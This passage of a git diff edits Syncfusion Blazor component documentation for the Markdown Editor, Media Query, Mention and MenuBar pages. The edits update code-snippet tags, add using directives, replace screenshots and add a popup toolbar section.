+    private string RteValue = @" In Rich Text Editor, you click the toolbar buttons to format the words and the changes are visible immediately. In contrast, Markdown requires syntax to indicate formatting. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add your own custom formatting syntax for the Markdown formation, [sample link](https://blazor.syncfusion.com/demos/markdown-editor/overview). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
+    private async Task GetValue()
+    {
+        this.Content = this.RteValue;
+        await this.DialogObj.ShowAsync();
+    }
+    private async Task DlgButtonClick(object arg)
+    {
+    await this.DialogObj.HideAsync();
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
diff --git a/blazor/markdown-editor/images/blazor-markdowneditor-accessibility.png b/blazor/markdown-editor/images/blazor-markdowneditor-accessibility.png
index f45bf7166e..4a2d1321c1 100644
Binary files a/blazor/markdown-editor/images/blazor-markdowneditor-accessibility.png and b/blazor/markdown-editor/images/blazor-markdowneditor-accessibility.png differ
diff --git a/blazor/markdown-editor/images/blazor-markdowneditor-custom-tool.png b/blazor/markdown-editor/images/blazor-markdowneditor-custom-tool.png
index 1a493d792c..6d29ab3b2f 100644
Binary files a/blazor/markdown-editor/images/blazor-markdowneditor-custom-tool.png and b/blazor/markdown-editor/images/blazor-markdowneditor-custom-tool.png differ
diff --git a/blazor/markdown-editor/images/blazor-markdowneditor-expand-toolbar.png b/blazor/markdown-editor/images/blazor-markdowneditor-expand-toolbar.png
index 4e97662fb7..e47fc2a17f 100644
Binary files a/blazor/markdown-editor/images/blazor-markdowneditor-expand-toolbar.png and b/blazor/markdown-editor/images/blazor-markdowneditor-expand-toolbar.png differ
diff --git a/blazor/markdown-editor/images/blazor-markdowneditor-markdown-image.png b/blazor/markdown-editor/images/blazor-markdowneditor-markdown-image.png
index 44647cc52d..e31a46a84d 100644
Binary files a/blazor/markdown-editor/images/blazor-markdowneditor-markdown-image.png and b/blazor/markdown-editor/images/blazor-markdowneditor-markdown-image.png differ
diff --git a/blazor/markdown-editor/images/blazor-markdowneditor-multirow-toolbar.png b/blazor/markdown-editor/images/blazor-markdowneditor-multirow-toolbar.png
index 6369846e9f..b67af88631 100644
Binary files a/blazor/markdown-editor/images/blazor-markdowneditor-multirow-toolbar.png and b/blazor/markdown-editor/images/blazor-markdowneditor-multirow-toolbar.png differ
diff --git a/blazor/markdown-editor/images/blazor-markdowneditor-popup-toolbar.png b/blazor/markdown-editor/images/blazor-markdowneditor-popup-toolbar.png
new file mode 100644
index 0000000000..b50dadccb6
Binary files /dev/null and b/blazor/markdown-editor/images/blazor-markdowneditor-popup-toolbar.png differ
diff --git a/blazor/markdown-editor/images/blazor-markdowneditor-scrollable-toolbar.png b/blazor/markdown-editor/images/blazor-markdowneditor-scrollable-toolbar.png
index 0a9447a98b..526dbacda1 100644
Binary files a/blazor/markdown-editor/images/blazor-markdowneditor-scrollable-toolbar.png and b/blazor/markdown-editor/images/blazor-markdowneditor-scrollable-toolbar.png differ
diff --git a/blazor/markdown-editor/images/blazor-markdowneditor-sticky-toolbar.png b/blazor/markdown-editor/images/blazor-markdowneditor-sticky-toolbar.png
index ca452e0672..8c76ebc702 100644
Binary files a/blazor/markdown-editor/images/blazor-markdowneditor-sticky-toolbar.png and b/blazor/markdown-editor/images/blazor-markdowneditor-sticky-toolbar.png differ
diff --git a/blazor/markdown-editor/images/blazor-markdownteditor.png b/blazor/markdown-editor/images/blazor-markdownteditor.png
index e8b3fd02a8..fb7673bbc3 100644
Binary files a/blazor/markdown-editor/images/blazor-markdownteditor.png and b/blazor/markdown-editor/images/blazor-markdownteditor.png differ
diff --git a/blazor/markdown-editor/images/blazor-richtexteditor-key-configuration.png b/blazor/markdown-editor/images/blazor-richtexteditor-key-configuration.png
index 2a5ecb8f59..ce571db34f 100644
Binary files a/blazor/markdown-editor/images/blazor-richtexteditor-key-configuration.png and b/blazor/markdown-editor/images/blazor-richtexteditor-key-configuration.png differ
diff --git a/blazor/markdown-editor/images/blazor-richtexteditor-markdown-custom-bold.png b/blazor/markdown-editor/images/blazor-richtexteditor-markdown-custom-bold.png
deleted file mode 100644
index bb503f89ac..0000000000
Binary files a/blazor/markdown-editor/images/blazor-richtexteditor-markdown-custom-bold.png and /dev/null differ
diff --git a/blazor/markdown-editor/images/blazor-richtexteditor-markdown-custom-formats.png b/blazor/markdown-editor/images/blazor-richtexteditor-markdown-custom-formats.png
index f27c78c3bd..114c6caece 100644
Binary files a/blazor/markdown-editor/images/blazor-richtexteditor-markdown-custom-formats.png and b/blazor/markdown-editor/images/blazor-richtexteditor-markdown-custom-formats.png differ
diff --git a/blazor/markdown-editor/images/blazor-richtexteditor-markdown-custom-italic.png b/blazor/markdown-editor/images/blazor-richtexteditor-markdown-custom-italic.png
new file mode 100644
index 0000000000..9197180192
Binary files /dev/null and b/blazor/markdown-editor/images/blazor-richtexteditor-markdown-custom-italic.png differ
diff --git a/blazor/markdown-editor/images/blazor-richtexteditor-markdown-custom-list.png b/blazor/markdown-editor/images/blazor-richtexteditor-markdown-custom-list.png
index 59b32afefe..6651ac0a8f 100644
Binary files a/blazor/markdown-editor/images/blazor-richtexteditor-markdown-custom-list.png and b/blazor/markdown-editor/images/blazor-richtexteditor-markdown-custom-list.png differ
diff --git a/blazor/markdown-editor/images/blazor-richtexteditor-markdown-table.png b/blazor/markdown-editor/images/blazor-richtexteditor-markdown-table.png
index dc8579f7e3..e266174c53 100644
Binary files a/blazor/markdown-editor/images/blazor-richtexteditor-markdown-table.png and b/blazor/markdown-editor/images/blazor-richtexteditor-markdown-table.png differ
diff --git a/blazor/markdown-editor/insert-image.md b/blazor/markdown-editor/insert-image.md
index 552d3914ce..03737d6b1c 100644
--- a/blazor/markdown-editor/insert-image.md
+++ b/blazor/markdown-editor/insert-image.md
@@ -24,7 +24,7 @@ The image will be added to the editor content at the current cursor position.
 The following example demonstrates how to enable image insertion in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Markdown Editor.
 
 {% tabs %}
-{% highlight cshtml %}
+{% highlight razor %}
 
 {% include_relative code-snippet/markdown-insert-image.razor %}
 
diff --git a/blazor/markdown-editor/insert-table.md b/blazor/markdown-editor/insert-table.md
index 69f066f0ff..0fdb43b0ae 100644
--- a/blazor/markdown-editor/insert-table.md
+++ b/blazor/markdown-editor/insert-table.md
@@ -7,7 +7,7 @@ control: MarkdownEditor
 documentation: ug
 ---
 
-# How to Insert Tables in Blazor Markdown Editor Component
+# How to Insert Table in Blazor Markdown Editor Component
 
 The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Markdown Editor provides built-in support for inserting tables, allowing users to create and customize tables effortlessly within the editor.
 
@@ -31,7 +31,7 @@ This default layout allows users to begin formatting and adding content immediat
 The following example demonstrates how to enable table insertion in the Syncfusion Blazor Markdown Editor.
 
 {% tabs %}
-{% highlight cshtml %}
+{% highlight razor %}
 
 {% include_relative code-snippet/markdown-insert-table.razor %}
 
diff --git a/blazor/markdown-editor/keyboard-support.md b/blazor/markdown-editor/keyboard-support.md
index 4d02a0e002..ea776f823b 100644
--- a/blazor/markdown-editor/keyboard-support.md
+++ b/blazor/markdown-editor/keyboard-support.md
@@ -93,18 +93,12 @@ These shortcuts provide additional functionalities like fullscreen mode.
 |----------------|---------| --------- |
 | Toggle full screen mode | <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>F</kbd> | <kbd>⌘</kbd> + <kbd>⇧</kbd> + <kbd>F</kbd> |
 
-```cshtml
+{% tabs %}
+{% highlight razor %}
 
-@using Syncfusion.Blazor.RichTextEditor
+{% include_relative code-snippet/markdown-key-configuration.razor %}
 
-<SfRichTextEditor EditorMode="EditorMode.Markdown" Value="@MarkdownValue"></SfRichTextEditor>
+{% endhighlight %}
+{% endtabs %}
 
-@code{
-
-    private string MarkdownValue { get; set; } = @"In Rich Text Editor, you click the toolbar buttons to format the words and 
-        the changes are visible immediately. Markdown is not like that. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add our own custom formation syntax for the Markdown formation, [sample link](https://blazor.syncfusion.com/demos/markdown-editor/overview?theme=fluent2). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
-
-}
-```
-
-![Blazor RichTextEditor with Key Configuration](./images/blazor-richtexteditor-key-configuration.png)
+![Blazor Markdown Editor with Key Configuration](./images/blazor-richtexteditor-key-configuration.png)
diff --git a/blazor/markdown-editor/markdown-preview.md b/blazor/markdown-editor/markdown-preview.md
index ccee1260a1..af2215a140 100644
--- a/blazor/markdown-editor/markdown-preview.md
+++ b/blazor/markdown-editor/markdown-preview.md
@@ -9,17 +9,17 @@ documentation: ug
 
 # Live Markdown Preview in Blazor Markdown Editor
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Markdown Editor provides an instant Markdown to HTML preview, allowing users to visualize formatted content in real time as they type or edit Markdown text. This feature enhances the editing experience by making formatting changes immediately visible. 
+The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Markdown Editor provides an instant Markdown to HTML preview, allowing users to visualize formatted content in real time as they type or edit Markdown text. This feature enhances the editing experience by making formatting changes immediately visible.
 
 ## Overview
-The Syncfusion Blazor Markdown Editor includes a live preview feature that instantly converts Markdown text into HTML. This allows users to see the formatted output in real time, improving the editing experience and reducing formatting errors.
+The Syncfusion Blazor Markdown Editor includes a live preview panel that renders the Markdown content into HTML format. It helps users verify formatting such as headings, lists, links, and emphasis, ensuring that the final output appears correctly before publishing or saving.
 
 ## Enable Markdown Preview in Blazor Markdown Editor  
 
 To enable the Markdown preview feature, the `Markdig` package is used to convert Markdown content into HTML. The following example demonstrates how to enable Markdown-to-HTML preview in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Markdown Editor.
 
 {% tabs %}
-{% highlight cshtml %}
+{% highlight razor %}
 
 {% include_relative code-snippet/markdown-preview.razor %}
 
@@ -30,4 +30,4 @@ To enable the Markdown preview feature, the `Markdig` package is used to convert
 
 ## See also
 
-* [How to convert Markdown string to HTML](https://support.syncfusion.com/kb/article/10983/how-to-convert-markdown-string-to-html-using-blazor-rich-text-editor)
\ No newline at end of file
+* [How to convert Markdown string to HTML](https://support.syncfusion.com/kb/article/10983/how-to-convert-markdown-string-to-html-using-blazor-rich-text-editor)
diff --git a/blazor/markdown-editor/mention-support.md b/blazor/markdown-editor/mention-support.md
index 161d538f57..338264d6f5 100644
--- a/blazor/markdown-editor/mention-support.md
+++ b/blazor/markdown-editor/mention-support.md
@@ -9,12 +9,14 @@ documentation: ug
 
 # Mention Support in Blazor Markdown Editor Component
 
-By integrating the [Mention](https://blazor.syncfusion.com/documentation/mention/getting-started) component with the Markdown Editor, users can effortlessly mention or tag other users or objects from a suggested list. This eliminates the need to manually type out names or identifying information, improving both efficiency and accuracy.
+By integrating the [Mention](https://blazor.syncfusion.com/documentation/mention/getting-started) component with the Markdown Editor, users can easily mention or tag other users or objects from the suggested list without manually typing names or identifiers.
 
-## How to Enable Mention in Blazor Markdown Editor
+## Setup and configuration
 
 To enable the Mention functionality within the Markdown Editor, set the [Target](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.SfMention-1.html#Syncfusion_Blazor_DropDowns_SfMention_1_Target)  property of the Mention component to the ID of the textarea element inside the editor. When specifying the target, ensure that you append the suffix `_editable-content` to the ID. This configuration allows users to mention or tag others from the suggested list while editing text.
 
+## Using mentions
+
 When a user types the `@` symbol followed by a character, the Markdown Editor displays a list of suggestions. Users can select an item from the list by either clicking on it or typing the desired name.
 
 ## Configuring Mention Properties
@@ -30,11 +32,11 @@ The Syncfusion<sup style="font-size:70%">&reg;</sup> Mention component provides
 The following example demonstrates how to enable Mention support in the Blazor Markdown Editor.
 
 {% tabs %}
-{% highlight cshtml %}
+{% highlight razor %}
 
 {% include_relative code-snippet/markdown-mention-support.razor %}
 
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Markdown Editor with Mention Support](./images/blazor-markdowneditor-markdown-mention.png)
\ No newline at end of file
+![Blazor Markdown Editor with Mention Support](./images/blazor-markdowneditor-markdown-mention.png)
diff --git a/blazor/markdown-editor/supported-markdown.md b/blazor/markdown-editor/supported-markdown.md
index 43705d7b2b..077ecf3666 100644
--- a/blazor/markdown-editor/supported-markdown.md
+++ b/blazor/markdown-editor/supported-markdown.md
@@ -17,7 +17,7 @@ The following table lists the Markdown commands supported by the Syncfusion<sup
 
 |Commands|Syntax| Description |
 |--------|------------------------------------------|------------|
-| Bold | Sample content for `**`bold text`**`. | For bold, add `**` or `__` to front and back of the text. For order list, precede each line with a number. |
+| Bold | Sample content for `**`bold text`**`. | For bold, add `**` or `__` to front and back of the text. |
 | Italic | Sample content for `*`Italic text`*`. | For Italic, add `*` or `_` to front and back of the text. |
 | Bold and Italics | Sample content for `***`bold and Italic text`***`. | For bold and Italics, add `***` to the front and back of the text. |
 | Heading 1 | `#` Heading 1 content | For heading 1, add `#` to start of the line. |
@@ -35,12 +35,12 @@ The following table lists the Markdown commands supported by the Syncfusion<sup
 | Superscript | `<sup>`Superscript text`</sup>` | For superscript, add `<sup>` to the front and `</sup>` to the back of the text. |
 | Ordered List | `1.` First<br>`1.` Second | For ordered list, preceding one or more lines of text with `1.` |
 | Unordered List | `*` First<br>`*` second | For unordered list, preceding one or more lines of text with `*`. |
-| Links | **Link text without title text**<br>`[` Link text `](`URL`)`<br> **Link text with title text**<br>`[` Link text `](`URL , “title text”`)` | Create an inline link by wrapping link text in brackets `[ ]`, and then wrapping the URL as first parameter and title as second parameter in the parentheses `()`.<br>**Note:** The title text is optional, if needed it can be given manually.|
+| Links | **Link text without title text**<br>`[` Link text `](`URL`)`<br> **Link text with title text**<br>`[` Link text `](`URL, "title text"`)` | Create an inline link by wrapping link text in brackets `[ ]`, and then wrapping the URL as first parameter and title as second parameter in the parentheses `()`.<br>**Note:** The title text is optional, if needed it can be given manually.|
 | Table | `|` Heading 1 `|` Heading 2 `|`<br>`|---------|---------|`<br>`|` Col A1 `|` Col A2 `|`<br>`|` Col B1 `|` Col B2 `|` | Create a table using the pipes and underscores as given in the syntax to create 2 x 2 table. |
 | Horizontal Line | `***` (three asterisk in new line)<br>(or)<br>`___` (three underscores in new line) | For horizontal line, add `***` or `___` to the start of the new line. |
 | Image | !`[`alt text`](`URL path`)` | Create an image by wrapping the image source in parentheses `()`. |
 | Image with alternate text | !`[` alternate text `](`URL path`)` | Create an image with alternate text by wrapping an alternative text in brackets `[ ]`, and then link of the image source in parentheses `()`.<br>**Note:** When inserting the image using toolbar, the alternate text cannot be provided that needs to be given manually. |
-| Escape tick marks supported | Sample text content with `**`bold and `**`not bold`**` text can be in the same line.`**` | In the syntax, the whole content is made as bold where the content `not bold` can be made as normal text by adding the bold syntax to the start and end of the respective text. Likewise you can do the same for various inline commands. |
+| Escape tick marks supported | Sample text content with `**`bold and`**` not bold `**`text can be in the same line.`**` | When bold syntax is applied, all content within its markers appears in bold. To display certain portions as normal text, the bold formatting must be closed before that section and reopened afterward. The same approach can be applied to other inline formatting elements as needed. |
 | Escape Character | `\(`any syntax`)` | Escape any markdown syntax by prefix `\` to the syntax.<br>Example:<br>`\**`Bold text`**`|
 | HTML Entities | Copyright: &copy; - `&copy;` <br>Trade mark: &trade; - `&trade;`<br>Registered: <sup style="font-size:70%">&reg;</sup> - `<sup style="font-size:70%">&reg;</sup>`<br>Ampersand: &amp; - `&amp;`<br>Less than: &lt; - `&lt;`<br>Greater than: &gt; - `&gt;` | For HTML entities, add & and ; to the front and back of the respective entities. |
 
diff --git a/blazor/markdown-editor/toolbar.md b/blazor/markdown-editor/toolbar.md
index 5a4642f9ee..679f6f9477 100644
--- a/blazor/markdown-editor/toolbar.md
+++ b/blazor/markdown-editor/toolbar.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Toolbar configuration in Markdown Editor Component
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Markdown Editor provides a flexible toolbar that enhances the editing experience. Users can choose from multiple toolbar layouts, enable sticky behavior, and add custom tools to suit their application needs. This guide explains the available toolbar types, configuration options, and customization techniques.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Markdown Editor provides a flexible toolbar that enhances the editing experience. Users can choose from multiple toolbar layouts, enable sticky behavior, and add custom tools based on their application requirements. This guide explains the available toolbar types, configuration options, and customization techniques.
 
 ## Default toolbar items
 
@@ -17,17 +17,18 @@ By default, the Markdown Editor displays the following toolbar items:
 
 > `Bold` , `Italic` , `|` , `Formats` , `Blockquote`, `OrderedList` , `UnorderedList` , `|` , `CreateLink` , `Image` , `|` , `SourceCode` , `Undo` , `Redo`
 
-These default items cover essential text editing features, such as text formatting, lists, and linking.
+These default items provide essential text editing features, including text formatting, list creation, block quotes, media insertion, and undo/redo actions.
 
 ## Type of toolbar 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Markdown Editor allows you to configure different type of toolbars using the [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorToolbarSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorToolbarSettings_Type) field in the [RichTextEditorToolbarSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorToolbarSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorToolbarSettings) property.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> Markdown Editor allows you to configure different type of toolbars using the [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorToolbarSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorToolbarSettings_Type) property of the [RichTextEditorToolbarSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorToolbarSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorToolbarSettings).
 
 The available toolbar types are:
 
 1. Expand
 2. MultiRow
 3. Scrollable
+4. Popup
 
 ### Expand Toolbar Configuration
 
@@ -69,7 +70,21 @@ You can display the toolbar items in a single line with horizontal scrolling by
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor Markdown Editor multirow toolbar](./images/blazor-markdowneditor-scrollable-toolbar.png)
+![Blazor Markdown Editor scrollable toolbar](./images/blazor-markdowneditor-scrollable-toolbar.png)
+
+### Popup Toolbar Implementation
+
+The [ToolbarType.Popup](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.ToolbarType.html#Syncfusion_Blazor_RichTextEditor_ToolbarType_Popup) toolbar property displays items in a popup container, ideal for limited space or smaller screens.
+
+{% tabs %}
+{% highlight razor %}
+
+{% include_relative code-snippet/markdown-popup-toolbar.razor %}
+
+{% endhighlight %}
+{% endtabs %}
+
+![Blazor Markdown Editor popup toolbar](./images/blazor-markdowneditor-popup-toolbar.png)
 
 ### Sticky Toolbar Behavior
 
@@ -115,8 +130,7 @@ Refer to the following code sample for the custom tool with the tooltip text, wh
 
 @code {
     
-    private string MarkdownValue { get; set; } = @"In Rich Text Editor, you click the toolbar buttons to format the words and 
-        the changes are visible immediately. Markdown is not like that. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add our own custom formation syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
+    private string MarkdownValue { get; set; } = @"Rich Text Editor formats text instantly using toolbar actions, whereas Markdown uses syntax to apply formatting. Markdown editing is supported when editorMode is set to **markdown**, allowing formatting via toolbar or keyboard. Custom Markdown syntax can also be added. This sample uses the <b>Marked</b> library to convert Markdown to HTML. [Sample link](https://blazor.syncfusion.com/demos/markdown-editor/overview).";
 
     private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
     {
diff --git a/blazor/media-query/getting-started-webapp.md b/blazor/media-query/getting-started-webapp.md
index 3f8c2914a7..671f040b7c 100644
--- a/blazor/media-query/getting-started-webapp.md
+++ b/blazor/media-query/getting-started-webapp.md
@@ -166,6 +166,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor
+
 <SfMediaQuery @bind-ActiveBreakPoint="activeBreakpoint"></SfMediaQuery>
 <br />
 @if (activeBreakpoint == "Small")
diff --git a/blazor/media-query/getting-started-with-server-app.md b/blazor/media-query/getting-started-with-server-app.md
index e8f9b2fee8..c5856bf346 100644
--- a/blazor/media-query/getting-started-with-server-app.md
+++ b/blazor/media-query/getting-started-with-server-app.md
@@ -160,6 +160,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor
+
 <SfMediaQuery @bind-ActiveBreakPoint="activeBreakpoint"></SfMediaQuery>
 <br />
 @if (activeBreakpoint == "Small")
diff --git a/blazor/media-query/images/Blazor-server-app-creation.png b/blazor/media-query/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/media-query/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/media-query/images/Blazor-server-app-creation.webp b/blazor/media-query/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..0d820ce3eb
Binary files /dev/null and b/blazor/media-query/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/media-query/images/blazor-app-interactive-mode.png b/blazor/media-query/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/media-query/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/media-query/images/blazor-app-interactive-mode.webp b/blazor/media-query/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..44f2080745
Binary files /dev/null and b/blazor/media-query/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/media-query/images/blazor-create-web-app.png b/blazor/media-query/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/media-query/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/media-query/images/blazor-create-web-app.webp b/blazor/media-query/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/media-query/images/blazor-create-web-app.webp differ
diff --git a/blazor/media-query/images/blazor-media-query-large-with-grid.png b/blazor/media-query/images/blazor-media-query-large-with-grid.png
deleted file mode 100644
index 9701cb0ca9..0000000000
Binary files a/blazor/media-query/images/blazor-media-query-large-with-grid.png and /dev/null differ
diff --git a/blazor/media-query/images/blazor-media-query-large-with-grid.webp b/blazor/media-query/images/blazor-media-query-large-with-grid.webp
new file mode 100644
index 0000000000..c83d3d117e
Binary files /dev/null and b/blazor/media-query/images/blazor-media-query-large-with-grid.webp differ
diff --git a/blazor/media-query/images/blazor-media-query-medium-with-grid.png b/blazor/media-query/images/blazor-media-query-medium-with-grid.png
deleted file mode 100644
index 7a8a48da80..0000000000
Binary files a/blazor/media-query/images/blazor-media-query-medium-with-grid.png and /dev/null differ
diff --git a/blazor/media-query/images/blazor-media-query-medium-with-grid.webp b/blazor/media-query/images/blazor-media-query-medium-with-grid.webp
new file mode 100644
index 0000000000..ee1fe5f8b0
Binary files /dev/null and b/blazor/media-query/images/blazor-media-query-medium-with-grid.webp differ
diff --git a/blazor/media-query/images/blazor-media-query-reusable.gif b/blazor/media-query/images/blazor-media-query-reusable.gif
deleted file mode 100644
index 9125acbe45..0000000000
Binary files a/blazor/media-query/images/blazor-media-query-reusable.gif and /dev/null differ
diff --git a/blazor/media-query/images/blazor-media-query-reusable.webp b/blazor/media-query/images/blazor-media-query-reusable.webp
new file mode 100644
index 0000000000..482e05887b
Binary files /dev/null and b/blazor/media-query/images/blazor-media-query-reusable.webp differ
diff --git a/blazor/media-query/images/blazor-media-query-small-with-grid.png b/blazor/media-query/images/blazor-media-query-small-with-grid.png
deleted file mode 100644
index 937b4e31f5..0000000000
Binary files a/blazor/media-query/images/blazor-media-query-small-with-grid.png and /dev/null differ
diff --git a/blazor/media-query/images/blazor-media-query-small-with-grid.webp b/blazor/media-query/images/blazor-media-query-small-with-grid.webp
new file mode 100644
index 0000000000..ceae0fa69b
Binary files /dev/null and b/blazor/media-query/images/blazor-media-query-small-with-grid.webp differ
diff --git a/blazor/media-query/images/blazor-media-query.png b/blazor/media-query/images/blazor-media-query.png
deleted file mode 100644
index 62e348dcc3..0000000000
Binary files a/blazor/media-query/images/blazor-media-query.png and /dev/null differ
diff --git a/blazor/media-query/images/blazor-media-query.webp b/blazor/media-query/images/blazor-media-query.webp
new file mode 100644
index 0000000000..b412429c8e
Binary files /dev/null and b/blazor/media-query/images/blazor-media-query.webp differ
diff --git a/blazor/media-query/images/blazor-wasm-app-template.png b/blazor/media-query/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/media-query/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/media-query/images/blazor-wasm-app-template.webp b/blazor/media-query/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/media-query/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/mention/getting-started-webapp.md b/blazor/mention/getting-started-webapp.md
index 46cc185b4b..8e27fc0ba2 100644
--- a/blazor/mention/getting-started-webapp.md
+++ b/blazor/mention/getting-started-webapp.md
@@ -165,7 +165,9 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% endtabs %}
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.DropDowns
 
 <SfMention TItem="PersonData" DataSource="@EmailData">
     <TargetComponent>
@@ -219,7 +221,10 @@ The `Target` property of the Mention component allows you to specify an element
 
 In the bellow example, the `Target` property of the Mention component is set to the CSS selector `#mentionTarget`, which matches the textarea element with an id of `mentionTarget`. The mention element will be appended to the textarea element as a child element, allowing the user to select or mention a specific entity within the textarea.
 
-{% highlight razor %}
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.DropDowns
 
 <textarea id="mentionTarget" placeHolder="Type @@ and tag user"></textarea>
 
@@ -258,6 +263,7 @@ In the bellow example, the `Target` property of the Mention component is set to
 }
 
 {% endhighlight %}
+{% endtabs %}
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/LNrfXCADhtJlNdUr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Mention target](images/blazor-mention-target.png)" %}
 
diff --git a/blazor/mention/getting-started-with-server-app.md b/blazor/mention/getting-started-with-server-app.md
index f27329e1bb..abbeaf1a6a 100644
--- a/blazor/mention/getting-started-with-server-app.md
+++ b/blazor/mention/getting-started-with-server-app.md
@@ -161,6 +161,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <SfMention TItem="PersonData" DataSource="@EmailData">
     <TargetComponent>
         <div id="commentsMention" placeHolder="Type @@ and tag user" ></div>
@@ -213,8 +215,11 @@ The `Target` property of the Mention component allows you to specify an element
 
 In the bellow example, the `Target` property of the Mention component is set to the CSS selector `#mentionTarget`, which matches the textarea element with an id of `mentionTarget`. The mention element will be appended to the textarea element as a child element, allowing the user to select or mention a specific entity within the textarea.
 
+{% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.DropDowns
+
 <textarea id="mentionTarget" placeHolder="Type @@ and tag user"></textarea>
 
 <SfMention TItem="PersonData" Target="#mentionTarget" DataSource="@EmailData">
@@ -252,6 +257,7 @@ In the bellow example, the `Target` property of the Mention component is set to
 }
 
 {% endhighlight %}
+{% endtabs %}
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/LNrfXCADhtJlNdUr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Mention target](images/blazor-mention-target.png)" %}
 
diff --git a/blazor/menu-bar/animation.md b/blazor/menu-bar/animation.md
index a01b5adc5d..16aca70c9a 100644
--- a/blazor/menu-bar/animation.md
+++ b/blazor/menu-bar/animation.md
@@ -60,4 +60,4 @@ The following sample illustrates how to open Context Menu with `FadeIn` effect w
 
 ```
 
-![Blazor Menubar with Style and Appearance](./images/blazor-menubar-animation.gif)
\ No newline at end of file
+![Blazor Menubar with Style and Appearance](./images/blazor-menubar-animation.webp)
\ No newline at end of file
diff --git a/blazor/menu-bar/data-source-binding-and-custom-menu-items.md b/blazor/menu-bar/data-source-binding-and-custom-menu-items.md
index d14cef47ad..56f6811e57 100644
--- a/blazor/menu-bar/data-source-binding-and-custom-menu-items.md
+++ b/blazor/menu-bar/data-source-binding-and-custom-menu-items.md
@@ -69,7 +69,7 @@ In the following example, the **id**, **pId**, and **text** columns from self-re
 
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjLIsZrssHctKuMX?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Data Binding in Blazor MenuBar](./images/blazor-menubar-data-binding.png)" %}
